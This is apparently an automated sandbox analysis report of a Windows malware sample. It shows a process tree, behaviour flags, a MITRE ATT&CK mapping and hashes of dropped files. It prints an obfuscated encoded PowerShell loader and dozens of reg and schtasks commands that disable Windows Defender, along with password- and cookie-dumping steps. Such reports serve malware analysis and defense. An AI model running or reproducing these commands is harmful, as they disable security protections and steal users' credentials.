AHoAdgBaAGYAUwBXAGUAbABpAGEAWABvAHYAcABVAEUAVwAwAG4ARAB3AEUALwBDADYAMgBIAHEAbQAwAGEAUABCADcAQwBXAEEANAB4AGcANgBCAHoARgByAGEAWAAxADEAcgBOAEoAagB0AEcAUgBNAFMATQBDAHkAYQBmAFQAaABFAE8AeQBOAFMAUQBmAG4AYwBxAHQASQBYAGoASgB6AG4AWQBKAHMANABFADIAcAA4ADIAZgBjAE8AaABBACsATwBwAFkANgBSAFoASQBEAG8AbQBtAHUAZgA2AFEASQBEAFYATwBvAEIARAA3AFEAVwBWADIAbQA0ADkAOQBPAFgANABnADYAbQA4ADkAUQBTAEwATwBGAFYATgBrAHgAegA3AE0AYgBuAG8AVwA2AEcAdwA0ADcARQA3AHEAcQA2AGgANwA3AGUATwBTAFgAOQB3AG8AYwBhAHQAYgBGAHIAZgB6AEUAVQBEADMAQwBTAGMAcABKADcATwBuAEsAdgBCAHQAdQBEAHQALwBZAHIAZABpAEYAVQBsAE0ALwBUAG4ARgB2AFQAcgBuADQATQB1AEIAOQBZAFMAUABsAEMARwBCAGEAcQBEAHUAZgA3ADYANwBZADAAYQBlAFgALwBjAFIAVABPAEMAUQAwAEoASQA2AC8ARAB6AHcAcgBIAHQAUQBuAHMAeQA3AFgATQB3ADMANQBZAFYAcwBBADQAaQBKAGMATQBOAFgAZABiADYAbQB2ADAATwBMAFUATABuAEkAQwBWADQAZwAyADEAcgA0AFEAMABhAG8ARgBJAHUARAAzAG4AZwBQAHQAYgByAFAAdgBjAFIAdABoAGQASABRAFcAcgBjAHoAMQBxAEUAOQBvAFUAcwBxAHEAYgBEAHoARwBSAFgAUQBtADcASwBxAEIAaAB5AHgAYQBWAGUAagBjADcAagA0AG8ARABCAGoAcQA2AEwARwBQAEoAdQAwAHgAbQAwADYAVwB6AE0ANwBZAE0AcQAvAHQAaQA3ADcAZQBCAHgAdQBZAHEAQQBoAEUAMgBjAHcAdABRAEkAdQBYAHgAegA5AHEAQgAxAFoASABRAHUAeQBKAHcAcgBjAEoAZABzAGoAcQBwAFAAWgBHAFQAZAB0AHAASgBzAFQAMAAxAG8AdABMAHgANABpAHMAcQBaAHAARwBNAE0AZQA1AGwARgBxAEkAUgB2AG4AcwBzADgAeQBGADYAawBvAFAATwBZAGIASwBMADEATwA0ADIAQgBaAEwAcgBIAGwAVQB6AHcATQBUADgAOABaAGgASwBDAHMAVAB3AFkAMgBEAEQAcQB6AE0ARgBPAFUAeQB1AHgATQBLAGMAZgBEADYAVwBZAGIAVAB1AFIANABuAGUAYgA5AHkANwB6AHoASgB4AGcAagBZAHkAMQBsAGwAZABSAEQAdgBlADEANgBqACsALwBtAG4ATQBhAEIAbABUAE8AKwBYAE0AcwByAE8AQQBMAFQAeABtAG0ARQB3AGkASgBlADgATgBzAG4AUQBtAGYAeQBUAFkAMgBuAHgAdgBmAEkAdwBiAFAAVwB5ADgATgBsAC8AYwAwAFIARwAwAEIASwA2ADgAKwBsAEUAQwBOAGMASQA3AEsAYgB4AEkAdwBLAGwAcgArAFkAdAB3AGoANgBGAHgAMABFAGQAawBlAGgAdwB5AHEAegBIACsAOQBGAFUAagBMAHEAMABHAHMATgBKADMAQQBrAGkAQQBSADQASgB4AGQASQBKAHYASABjAFgAeABKAFkAdgBrAHoAbwBIAHMAcABwADYAUQA3AEIAQQBnAFAATABnAEcAagBuAFIANwArAGsAYgBoAHAASABMAE4AYQBpADcATAA0AEMAQQBZAGcASgBlADkAOABnAEsAcQBvAEIARQBsAHgAdgBhAEkAYQBRADQAegBIAHoAdABVADMAVQBFAGcAUABZAHgAUgBVAG0AcQBoAGwAYgB2ADAAUQBSAEYANQBlAGoASQBrAEoAWQBPAEMAbABKAEQASgBJAHkAcgB3AG4AMgBtAGcAdgAyAHEAYgArAHAAegBVAHUAZwBOAGcANQAvADIATAA3AFgAVABIAFAAUAArAEEAOABGAE8ASgBhADMATwBXAE0AaAB6AGUAQgBFAFQAYwB4AG4ATgB5AGMAaQBtAFQANgBOAE4AZwA9ACIAKQA7ACAAJABnAGEAeAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFoAYQBPAGMAagBaAHYAcQBqAE4AYgBCAHgAQgA2AGEARQBEAHcAZwB0AFUAYQBOAGgAUAA2AG0AdwBkAFMAbAAvAHgAegBTAFAAKwAwAHIAdwBNAGcAPQAiACkAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBCAGwAbwBjAGsAUwBpAHoAZQAgAD0AIAAxADIAOAA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBFAEMAQgA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEkAVgAgAD0AIAAkAHkAdQBzAHYAaABiAHEAWwAwAC4ALgAxADUAXQA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFoAZQByAG8AcwA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAMgA1ADYAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBLAGUAeQAgAD0AIAAkAGcAYQB4AHkAOwAgACQAbgBxAGEAYgB4ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAeQB1AHMAdgBoAGIAcQAsADEANgAsACQAeQB1AHMAdgBoAGIAcQAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQA7ACAAJAB6AHIAcABuAGcAbwBmAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAbgBxAGEAYgB4ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAGEAaAB3AGMAawBkAGUAaABmAC4AQwBvAHAAeQBUAG8AKAAkAHoAcgBwAG4AZwBvAGYAawApADsAIAAkAG4AcQBhAGIAeAAuAEMAbABvAHMAZQAoACkAOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYALgBDAGwAbwBzAGUAKAApADsAIAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4ARABpAHMAcABvAHMAZQAoACkAOwAgACQAdABlAGIAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHoAcgBwAG4AZwBvAGYAawAuAFQAbwBBAHIAcgBhAHkAKAApACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAdABlAGIAcgApAA==7⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1392
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand $MyEncodedScript"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1076
-
-
-
-
-
C:\Windows\System32PROTECTIONS.EXE"C:\Windows\System32PROTECTIONS.EXE"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1928 -
C:\Windows\System32PROTECTIONS.EXE"C:\Windows\System32PROTECTIONS.EXE"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1152
-
-
-
C:\Windows\System32REGISTRY.EXE"C:\Windows\System32REGISTRY.EXE"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2676 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2676 -s 9043⤵PID:2792
-
-
-
C:\Windows\System32WINDOWS DEFENDER.EXE"C:\Windows\System32WINDOWS DEFENDER.EXE"2⤵
- Executes dropped EXE
PID:2188
-
-
C:\Windows\System32WINDOWS MANGER.EXE"C:\Windows\System32WINDOWS MANGER.EXE"2⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs6KMBcrhm75cDojsjt5goub3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:872 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"4⤵
- System Location Discovery: System Language Discovery
PID:2692 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c compile.bat5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2828 -
C:\Users\Admin\AppData\Local\Temp\bfsvc.exeC:\Users\Admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\Admin\AppData\Local\Temp\capture.png"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2736
-
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"4⤵
- System Location Discovery: System Language Discovery
PID:2608 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c compile.bat5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2728 -
C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exeC:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2208
-
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"4⤵
- System Location Discovery: System Language Discovery
PID:2832 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c compile.bat5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2876 -
C:\Users\Admin\AppData\Local\Temp\winhlp32.exeC:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2700
-
-
C:\Users\Admin\AppData\Local\Temp\splwow64.exeC:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2692
-
-
C:\Users\Admin\AppData\Local\Temp\hh.exeC:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2628
-
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"4⤵
- System Location Discovery: System Language Discovery
PID:2540 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c compile.bat5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2984 -
C:\Users\Admin\AppData\Local\Temp\xwizard.exeC:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2908
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"4⤵
- System Location Discovery: System Language Discovery
PID:2036 -
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
- System Location Discovery: System Language Discovery
PID:2360
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f4⤵
- System Location Discovery: System Language Discovery
PID:2916
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f4⤵
- System Location Discovery: System Language Discovery
PID:2604
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f4⤵
- System Location Discovery: System Language Discovery
PID:1728
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f4⤵
- System Location Discovery: System Language Discovery
PID:2432
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
PID:1196
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
PID:2588
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
PID:1512
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
PID:2644
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
- System Location Discovery: System Language Discovery
PID:2800
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f4⤵
- System Location Discovery: System Language Discovery
PID:2936
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤4⤵
- System Location Discovery: System Language Discovery
PID:3008
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f4⤵
- System Location Discovery: System Language Discovery
PID:1848
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f4⤵
- System Location Discovery: System Language Discovery
PID:1064
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f4⤵
- System Location Discovery: System Language Discovery
PID:3012
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f4⤵
- System Location Discovery: System Language Discovery
PID:1336
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable4⤵
- System Location Discovery: System Language Discovery
PID:2240
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable4⤵
- System Location Discovery: System Language Discovery
PID:1892
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable4⤵
- System Location Discovery: System Language Discovery
PID:744
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable4⤵
- System Location Discovery: System Language Discovery
PID:2360
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable4⤵
- System Location Discovery: System Language Discovery
PID:1288
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f4⤵
- System Location Discovery: System Language Discovery
PID:1804
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f4⤵
- System Location Discovery: System Language Discovery
PID:2108
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f4⤵
- System Location Discovery: System Language Discovery
PID:1688
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f4⤵
- System Location Discovery: System Language Discovery
PID:1696
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f4⤵
- System Location Discovery: System Language Discovery
PID:1008
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f4⤵
- Modifies Security services
- System Location Discovery: System Language Discovery
PID:820
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f4⤵
- Modifies Security services
- System Location Discovery: System Language Discovery
PID:1540
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f4⤵
- Modifies Security services
- System Location Discovery: System Language Discovery
PID:1096
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f4⤵
- Modifies Security services
- System Location Discovery: System Language Discovery
PID:2452
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f4⤵
- Modifies security service
- System Location Discovery: System Language Discovery
PID:352
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\System32WINDOWS MANGER.EXE"3⤵
- System Location Discovery: System Language Discovery
PID:2880 -
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 34⤵
- System Location Discovery: System Language Discovery
PID:1984
-
-
-
-
C:\Windows\System32WINDOWS PROTECTOR.EXE"C:\Windows\System32WINDOWS PROTECTOR.EXE"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Executes dropped EXE
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1272 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1272 -s 13243⤵PID:1752
-
-
-
C:\Windows\System32WINDOWS SECURITY.EXE"C:\Windows\System32WINDOWS SECURITY.EXE"2⤵
- Executes dropped EXE
PID:2360
-
-
C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE"C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1360 -
C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE"C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2788
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Defense Evasion
Impair Defenses
2Disable or Modify Tools
1Modify Registry
5Obfuscated Files or Information
1Command Obfuscation
1Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
-
Filesize
6KB
MD5ca6668ed06b2e2c722232beaf9370016
SHA14b34be1a559de849b40c9a8aa56623f4df9d6a0c
SHA2568102de5b4900fc5fcbb0c013e8284a278ad0f623f76193f33a8b5a43a28d1809
SHA5122883c949fdfbdd1e69e119f8fa38b720f0689ebd632310929525dd383ca42792e6b9cd39996c4c1327d51e11f1952d460b30bd70ef3cc35e4714e9a60c0641e1
-
Filesize
4.4MB
MD53405f654559010ca2ae38d786389f0f1
SHA18ac5552c64dfc3ccf0c678f6f946ee23719cf43d
SHA256bc1364d8e68f515f9f35a6b41c11a649b1f514302eb01812c68c9a95a3198b30
SHA512cb1e5ffed2ab86502ea4236383e9a4211a14b1abda13babbcceea67700c5746b37b4da6e45e10196eb76fa1e6959e71f19c6827466a54df1d5ba5ad2e16fc05b
-
Filesize
4B
MD5365c9bfeb7d89244f2ce01c1de44cb85
SHA1d7a03141d5d6b1e88b6b59ef08b6681df212c599
SHA256ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508
SHA512d220d322a4053d84130567d626a9f7bb2fb8f0b854da1621f001826dc61b0ed6d3f91793627e6f0ac2ac27aea2b986b6a7a63427f05fe004d8a2adfbdadc13c1
-
Filesize
4.2MB
MD5e9c0fbc99d19eeedad137557f4a0ab21
SHA18945e1811ceb4b26f21edcc7a36dcf2b1d34f0bf
SHA2565783c5c5a3ffce181691f19d27de376a03010d32e41360b72bcdbd28467cfcc5
SHA51274e1289683642ae2bc3cf780a07af1f27fed2011ef6cc67380f9c066c59d17a2fb2394a45a5c6cd75dad812a61093fdbd0f2108925f5c58fc6644c1c98be5c0b
-
Filesize
420B
MD551c9e864182413f35b76d42d435df261
SHA1dc5ec227ab38093927a119b4d646c3811c3553cd
SHA256e6c5c674268a865db840afd3764cd498bdfd8fe677c5193d662abbe64d68975b
SHA512b36e683b6487bfbf4e512214343128e57a52eb71356345caba70a98dc5b0bad764da842d08443d3b47bd3dddbe24af146c561ae480038c95f124a51565e3fd99
-
Filesize
32.1MB
MD5202ff3bac45cf4aa7a8d3bd57d8c507e
SHA148fc237753803cdee5f6ee29a9966fd58660a3b3
SHA2569573aba310f44eab2016a65a130a127e4162ffa756e0afdcaffc613b7419cefd
SHA512b0853fac8b3803a87c894789289a9f47781d32998404aec2e55cc13ae1d95c922d7d37db70bd98318f3f9160746e9e3673c0555115fa7fe65e6f05a7f28df6f9
-
Filesize
156B
MD5eb51755b637423154d1341c6ee505f50
SHA1d71d27e283b26e75e58c0d02f91d91a2e914c959
SHA256db903aae119dc795581080a528ba04286be11be7e9d417305d77123545fbf0f9
SHA512e23463fe0a3719c2700826b55f375f60e5e67f3e432aa8e90c5afc8f449fc635aa4c031f9b6fa71344a8da9542585b74e4c812383043868a10a1065d477acee5
-
Filesize
71B
MD591128da441ad667b8c54ebeadeca7525
SHA124b5c77fb68db64cba27c338e4373a455111a8cc
SHA25650801c4db374acec11831bf7602cd2635bc8964800c67217b25683dce4a45873
SHA512bd2a8bc4458b1bc85c5a59db872278197bb0a2a2086a1a9aa5b6b876965b9f5586959171f334237588cc6b0f9643f580db2e959f82e451f4a3043a27e4a95cdd
-
Filesize
70B
MD5d90accebb3f79fe65cd938425c07b0ae
SHA19df3812a88d87dd419cd9e89afa5fb1d71be0dc9
SHA256aca74cefaef4b7a32338c9c63187cffa1e808b54ab218a064007683ad1bd3a0e
SHA51244013bfda1dbe5b217d4872e8d550cd00471cb8b969ffd6b07f83b0c59ac20ec2512d275a4603cc00e5de3a04666f66e897601ba51a5e02af622e5139ac04560
-
Filesize
74B
MD5808099bfbd62ec04f0ed44959bbc6160
SHA1f4b6853d958c2c4416f6e4a5be8a11d86f64c023
SHA256f465a1bd2f9a3efcf0589f0b1c234d285f2bebf7416b324271d987a282915ca8
SHA512e4f75253a402f0f5d5c651cde045757dad0d4312be023fabf279d7c053fde6ba63cf387551a0451585a87f929634e0bfa73a06dac85ecd1bb5bc0b72bb98e1f0
-
Filesize
265B
MD5ca906422a558f4bc9e471709f62ec1a9
SHA1e3da070007fdeae52779964df6f71fcb697ffb06
SHA256abf09cb96f4c04a1d2d2bfd7184da63dd79c2109b1a768ca5dae4265def39eee
SHA512661d4b4130ba12281527db418f71b7213dab62931806e2bd48690cfaed65b8a2859e5b161eaa4152d5a18babb54d6c2203f4ef5e3a1153c468d67703fd79f66b
-
Filesize
106B
MD574aa06530b7e38626a9f0f68cbf3c627
SHA12aa33dc8b29fe9b5f7a890bf926a80da4c8f099f
SHA2563c25abc197d8864ded7d967b3d52df30da4f8602c86f2bbddbc27927e88919e2
SHA512ec20859322fe256edf6aaa99618ef0a5305399c9bc4590c08155eeb503ac9cb9680a347dd457b3bf32256f4261e1dabf2a3b2e3a68b278cf7108fa19d4758b3b
-
Filesize
3KB
MD5fc3c88c2080884d6c995d48e172fbc4f
SHA1cb1dcc479ad2533f390786b0480f66296b847ad3
SHA2561637ce704a463bd3c91a38aa02d1030107670f91ee3f0dd4fa13d07a77ba2664
SHA5124807d3bd44a3197d1a9dcf709a1e70e1cf3bf71fe1a9fa1479441b598154c282a620208557a4415a34d23ceb4fd32dda41edbb940b46acb2f00c696648703bf1
-
Filesize
391KB
MD5053778713819beab3df309df472787cd
SHA199c7b5827df89b4fafc2b565abed97c58a3c65b8
SHA256f999357a17e672e87fbed66d14ba2bebd6fb04e058a1aae0f0fdc49a797f58fe
SHA51235a00001c718e36e956f49879e453f18f5d6c66bbc6a3e1aad6d5dd1109904539b173c3cad0009bc021d4513a67ae0003282f7d14b7aecaa20e59a22c6ad0ddb
-
Filesize
49KB
MD50d8360781e488e250587a17fbefa646c
SHA129bc9b438efd70defa8fc45a6f8ee524143f6d04
SHA256ebff7d07efda7245192ce6ecd7767578152b515b510c887ca2880a2566071f64
SHA512940a98f282473c6f706783b41b72eccce88620e12db1f91be6425f087284746e6e10d4d9420b5e79e87ec3a2fd595b9fe301576e39a4db6bd3daa4aa93a9042e
-
Filesize
544KB
MD5df991217f1cfadd9acfa56f878da5ee7
SHA10b03b34cfb2985a840db279778ca828e69813116
SHA256deb1246347ce88e8cdd63a233a64bc2090b839f2d933a3097a2fd8fd913c4112
SHA512175cde9e0def550f6380b4a9feb6845dfddbb641e2455d9d25dc6bfc7ffc08e654ea731946588961a5825dcc45c8b31972454a330fd97d7170f1991a8dac0316
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD52db805d93722bea3a36394313d8e21cb
SHA1b41b18def968843f32eebe667767acb4a0e29810
SHA256913f0c3f347da3862a35f86abc21b41fd6f9e0a4457a16dbd5641ec0b691fbc0
